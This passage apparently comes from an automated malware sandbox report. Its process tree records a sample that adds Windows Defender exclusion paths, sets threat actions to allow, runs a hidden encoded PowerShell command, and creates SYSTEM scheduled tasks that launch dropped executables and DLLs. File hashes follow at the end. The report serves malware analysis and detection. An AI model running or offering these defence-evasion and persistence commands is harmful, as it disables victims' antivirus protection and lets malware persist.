                                                                                                                3⤵
                                                                                                                  PID:424
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\REeMUtPoCvFU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\REeMUtPoCvFU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RcAuZGsZhuUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RcAuZGsZhuUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kLpsRMujXEpbC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kLpsRMujXEpbC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tffvHWJZU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tffvHWJZU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NGysLhxJEZNwhMVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NGysLhxJEZNwhMVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mrYrpJCpOmktZWwz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mrYrpJCpOmktZWwz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                2⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:5080
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:4700
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:1052
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:1284
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:4284
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:2688
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:4608
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:704
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:628
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:2012
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:5084
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:4992
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NGysLhxJEZNwhMVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:3732
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NGysLhxJEZNwhMVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:4260
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:4924
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:4920
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj /t REG_DWORD /d 0 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:2604
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj /t REG_DWORD /d 0 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:860
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mrYrpJCpOmktZWwz /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4704
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mrYrpJCpOmktZWwz /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1616
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /CREATE /TN "gJymBNbGa" /SC once /ST 01:25:09 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                      2⤵
                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                      PID:4228
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /run /I /tn "gJymBNbGa"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:4472
                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                        schtasks /DELETE /F /TN "gJymBNbGa"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:3976
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "WFVPvOFzrjCnPPlbL" /SC once /ST 01:08:39 /RU "SYSTEM" /TR "\"C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XdfalFf.exe\" 7d /auLsdidfl 525403 /S" /V1 /F
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:2700
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /run /I /tn "WFVPvOFzrjCnPPlbL"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4928
                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                          1⤵
                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                          PID:524
                                                                                                                                                          • C:\Windows\system32\gpupdate.exe
                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                            2⤵
                                                                                                                                                              PID:2620
                                                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                                                            c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                            1⤵
                                                                                                                                                              PID:4952
                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                              1⤵
                                                                                                                                                                PID:1524
                                                                                                                                                              • \??\c:\windows\system32\gpscript.exe
                                                                                                                                                                gpscript.exe /RefreshSystemParam
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:1072
                                                                                                                                                                • C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XdfalFf.exe
                                                                                                                                                                  C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XdfalFf.exe 7d /auLsdidfl 525403 /S
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Drops Chrome extension
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                  PID:784
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:648
                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4220
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:4456
                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:5016
                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:964
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:3320
                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:876
                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:4224
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:1540
                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:5028
                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                          forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5112
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:5040
                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:2056
                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2648
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:4232
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                        PID:3576
                                                                                                                                                                                                        • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:4148
                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                    schtasks /DELETE /F /TN "butYHpXTvMdZIJsEKZ"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4464
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:3640
                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4228
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:3888
                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                  PID:2120
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                    PID:2820
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\tffvHWJZU\rNTAtS.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "oiGBDDjiIQmhwtu" /V1 /F
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:3568
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /CREATE /TN "oiGBDDjiIQmhwtu2" /F /xml "C:\Program Files (x86)\tffvHWJZU\fixmQWf.xml" /RU "SYSTEM"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                            PID:860
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /END /TN "oiGBDDjiIQmhwtu"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:4112
                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                              schtasks /DELETE /F /TN "oiGBDDjiIQmhwtu"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:3036
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "mVOvxPujqogGhF" /F /xml "C:\Program Files (x86)\REeMUtPoCvFU2\ACqmrZo.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:3140
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "PuKixiXcCNlkt2" /F /xml "C:\ProgramData\NGysLhxJEZNwhMVB\dAjzjNE.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:5036
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "PNkVCGbsoOwbzBvhS2" /F /xml "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\GGIxwkr.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:4740
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "OEjxyANCnYwFWrViDzJ2" /F /xml "C:\Program Files (x86)\kLpsRMujXEpbC\pwuGLWQ.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:1760
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "dSPsRFCNvoTMekFez" /SC once /ST 00:36:31 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\mrYrpJCpOmktZWwz\DUxoxESq\MiHoxjt.dll\",#1 /Hedidu 525403" /V1 /F
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:5012
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /run /I /tn "dSPsRFCNvoTMekFez"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:3080
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /DELETE /F /TN "WFVPvOFzrjCnPPlbL"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1796
                                                                                                                                                                                                                • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                                                                                  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\mrYrpJCpOmktZWwz\DUxoxESq\MiHoxjt.dll",#1 /Hedidu 525403
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:2944
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                      c:\windows\system32\rundll32.EXE "C:\Windows\Temp\mrYrpJCpOmktZWwz\DUxoxESq\MiHoxjt.dll",#1 /Hedidu 525403
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                      PID:2768
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /DELETE /F /TN "dSPsRFCNvoTMekFez"
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:932

                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                    • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      129B

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

